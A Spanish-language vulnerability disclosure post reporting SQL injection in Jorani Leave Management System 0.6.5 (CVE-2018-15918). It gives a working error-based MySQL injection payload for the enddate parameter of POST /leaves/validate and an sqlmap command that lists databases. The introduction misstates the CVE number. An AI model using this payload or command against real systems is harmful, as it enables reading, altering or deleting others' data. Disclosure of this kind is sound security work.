Esta entrada tiene como finalidad hacer pública la vulnerabilidad SQL Injection descubierta en el software Jorani Leave Management System 0.6.5, la vulnerabilidad ha sido asociada al CVE-2018-159178.

 

Jorani CVE-2018-15918

Jorani Leave Management System 0.6.5 – SQL Injection

Jorani es un sistema de administración de licencias desarrollado en PHP / MySQL bajo una licencia AGPL v3, está diseñado para proporcionar solicitud de flujos de trabajo simples y tiempo extra para organizaciones pequeñas.

📅 Vulnerabilidad descubierta por Javier Olmedo el 02/08/2018

💣 Publicada el 03/09/2018

🐛 CVE-2018-15918

🔗 Link del software Jorani Leave Management System

🐞 Versión vulnerable = 0.6.5 y posiblemente anteriores

 

Vector de ataque / Criticidad de la explotación

CRITICIDAD – CRÍTICA

A través de las vulnerabilidades SQL Injection, un usuario malintencionado podría leer, modificar o borrar información de la base de datos que utiliza la aplicación, lanzar comandos al sistema operativo o causar una denegación de servicio con el objetivo de obtener información confidencial, escalar privilegios o dejar inoperativa la aplicación.

 

Parámetros vulnerables

Los parámetros startdate y enddate son vulnerable a ataques SQL Injection a través de peticiones POST en el recurso /leaves/validate, estas peticiones permiten las condiciones WHERE, HAVING, ORDER BY y GROUP BY, lo que permite que sean fácilmente explotables y recuperar grandes cantidades de información de la base de datos con una sola consulta.

 

💉 Payload

id=1&type=compensate&startdate=2018-08-02&enddate=2018-08-03′) AND (SELECT 2138 FROM(SELECT COUNT(*),CONCAT(0x7178787071,(SELECT (ELT(2138=2138,1))),0x716b716271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND (‘WfLI’=’WfLI&startdatetype=Morning&enddatetype=Afternoon&leave_id=

 

📷 Captura de pantalla de SQLmap lanzando el comando

sqlmap -r jorani-poc.req -p enddate --dbms=MySQL --dbs

 

Prueba de concepto (PoC)

1.  Si añadimos el caracter en el parámetro startdate obtenemos un error en la aplicación

1.1 Petición

1.2 Respuesta

2. En cambio, al añadir dos , obtenemos un código 200 OK

2.1 Petición

2.2 Respuesta

 

Timeline

02/08/2018 Descubrimiento de la vulnerabilidad

02/08/2018 Creo issue en GitHub del proyecto

03/08/2018 El desarrollador invalida y cierra el issue 😥

27/08/2018 Solicito CVE

28/08/2018 Asignación de CVE-2018-15918 por MITRE

03/09/2018 Hago pública la vulnerabilidad

 

Referencias

CVE-MITRE – https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-15918

 

Un saludo a todos!! 👋


Javier Olmedo

Consultor de Ciberseguridad e Investigador de Seguridad en mi tiempo libre, Técnico en Sistemas Informáticos y Técnico Superior en Desarrollo de Software, apasionado de la [In]Seguridad Informática.

Deja tu comentario

Este sitio usa Akismet para reducir el spam. Aprende cómo se procesan los datos de tus comentarios.